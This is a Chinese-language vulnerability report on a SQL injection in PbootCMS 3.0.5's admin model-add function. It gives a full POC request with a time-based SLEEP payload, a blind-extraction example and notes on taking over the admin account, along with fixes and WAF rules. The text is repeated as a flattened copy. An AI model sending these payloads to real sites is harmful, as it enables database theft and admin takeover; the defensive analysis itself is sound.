PbootCMS SQL注入漏洞
字数 1291 2025-08-09 22:00:40

PbootCMS SQL注入漏洞分析报告

漏洞概述

PbootCMS 3.0.5版本中存在SQL注入漏洞,攻击者可以通过构造特定的请求在后台执行任意SQL语句。该漏洞存在于模型管理功能中,由于对type参数过滤不严导致。

漏洞分析

漏洞位置

  1. 主要文件

    • /apps/admin/controller/content/ModelController.php
    • /core/function/helper.php
    • /apps/admin/model/content/ModelModel.php
  2. 漏洞触发流程

    • 攻击者通过/admin.php?p=/Model/add路径提交恶意请求
    • type参数被直接拼接到SQL语句中执行

代码审计细节

  1. 输入过滤

    • 系统对大多数输入进行了过滤(只能包含中文、字母、数字、水平线、点、逗号和空格)
    • type参数未经过严格过滤,导致可控
  2. SQL拼接点

    • ModelModel.php中,type参数被直接用于SQL语句构建
    • 缺乏参数化查询或严格的类型检查

漏洞复现

环境要求

  • PbootCMS 3.0.5版本
  • 管理员权限(需要后台访问权限)

POC

POST /admin.php?p=/Model/add HTTP/1.1
Host: pbootcms.cc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://pbootcms.cc/admin.php?p=/Model/index
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
Origin: http://pbootcms.cc
Connection: close
Cookie: [有效管理员Cookie]
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

formcheck=20ef862bac15666418675fc5fbd7eb4c&name=1111111&type=2 AND (SELECT 2704 FROM (SELECT(SLEEP(5)))XhYr)&urlname=1111111111111111111&listtpl=11111111&contenttpl=11111111&status=1

验证方法

  • 观察响应时间:如果注入成功,服务器会延迟5秒响应
  • 可替换SLEEP(5)为其他SQL语句进行进一步利用

修复建议

  1. 临时解决方案

    • 禁用或限制对/admin.php?p=/Model/add的访问
    • 在应用层对type参数进行严格类型检查和过滤
  2. 长期解决方案

    • 升级到最新版本(检查官方是否已发布补丁)
    • 使用参数化查询或预处理语句重构相关代码
    • 对所有用户输入实施严格的白名单过滤
  3. 代码层面修复

    // 修复示例 - 强制转换为整数
    $type = (int)$_POST['type'];
    

漏洞影响

  • 影响范围:PbootCMS 3.0.5及可能更早版本
  • 危害程度:高危
    • 可导致数据库信息泄露
    • 可能获取管理员权限
    • 可能进一步导致服务器沦陷

时间线

  • 漏洞发现时间:未明确(根据文章推测为2021年7月左右)
  • 漏洞公开时间:文章发布日期未明确
  • 官方修复状态:需要确认3.0.5之后版本是否修复

扩展利用

  1. 盲注利用

    • 可通过时间盲注提取数据库信息
    • 示例:type=2 AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(5),0)
  2. 数据提取

    • 构造UNION查询获取敏感数据
    • 需要了解数据库表结构
  3. 权限提升

    • 通过注入修改管理员账户
    • 直接更新数据库中的管理员凭证

防御措施

  1. WAF规则

    • 拦截包含SLEEP(BENCHMARK(等时间延迟函数的请求
    • 监控异常的SQL错误返回
  2. 日志监控

    • 记录所有对/Model/add的POST请求
    • 监控异常的数据库查询模式
  3. 最小权限原则

    • 数据库连接使用最小必要权限账户
    • 限制CMS数据库账户的DROP、ALTER等危险权限

总结

该漏洞展示了即使在新版本中,由于特定参数过滤不严导致的SQL注入风险。开发人员应当对所有用户输入保持警惕,特别是看似"安全"的数字类型参数。建议所有PbootCMS用户检查是否受影响并及时采取防护措施。

PbootCMS SQL注入漏洞分析报告 漏洞概述 PbootCMS 3.0.5版本中存在SQL注入漏洞,攻击者可以通过构造特定的请求在后台执行任意SQL语句。该漏洞存在于模型管理功能中,由于对 type 参数过滤不严导致。 漏洞分析 漏洞位置 主要文件 : /apps/admin/controller/content/ModelController.php /core/function/helper.php /apps/admin/model/content/ModelModel.php 漏洞触发流程 : 攻击者通过 /admin.php?p=/Model/add 路径提交恶意请求 type 参数被直接拼接到SQL语句中执行 代码审计细节 输入过滤 : 系统对大多数输入进行了过滤(只能包含中文、字母、数字、水平线、点、逗号和空格) 但 type 参数未经过严格过滤,导致可控 SQL拼接点 : 在 ModelModel.php 中, type 参数被直接用于SQL语句构建 缺乏参数化查询或严格的类型检查 漏洞复现 环境要求 PbootCMS 3.0.5版本 管理员权限(需要后台访问权限) POC 验证方法 观察响应时间:如果注入成功,服务器会延迟5秒响应 可替换SLEEP(5)为其他SQL语句进行进一步利用 修复建议 临时解决方案 : 禁用或限制对 /admin.php?p=/Model/add 的访问 在应用层对 type 参数进行严格类型检查和过滤 长期解决方案 : 升级到最新版本(检查官方是否已发布补丁) 使用参数化查询或预处理语句重构相关代码 对所有用户输入实施严格的白名单过滤 代码层面修复 : 漏洞影响 影响范围 :PbootCMS 3.0.5及可能更早版本 危害程度 :高危 可导致数据库信息泄露 可能获取管理员权限 可能进一步导致服务器沦陷 时间线 漏洞发现时间:未明确(根据文章推测为2021年7月左右) 漏洞公开时间:文章发布日期未明确 官方修复状态:需要确认3.0.5之后版本是否修复 扩展利用 盲注利用 : 可通过时间盲注提取数据库信息 示例: type=2 AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(5),0) 数据提取 : 构造UNION查询获取敏感数据 需要了解数据库表结构 权限提升 : 通过注入修改管理员账户 直接更新数据库中的管理员凭证 防御措施 WAF规则 : 拦截包含 SLEEP( 、 BENCHMARK( 等时间延迟函数的请求 监控异常的SQL错误返回 日志监控 : 记录所有对 /Model/add 的POST请求 监控异常的数据库查询模式 最小权限原则 : 数据库连接使用最小必要权限账户 限制CMS数据库账户的DROP、ALTER等危险权限 总结 该漏洞展示了即使在新版本中,由于特定参数过滤不严导致的SQL注入风险。开发人员应当对所有用户输入保持警惕,特别是看似"安全"的数字类型参数。建议所有PbootCMS用户检查是否受影响并及时采取防护措施。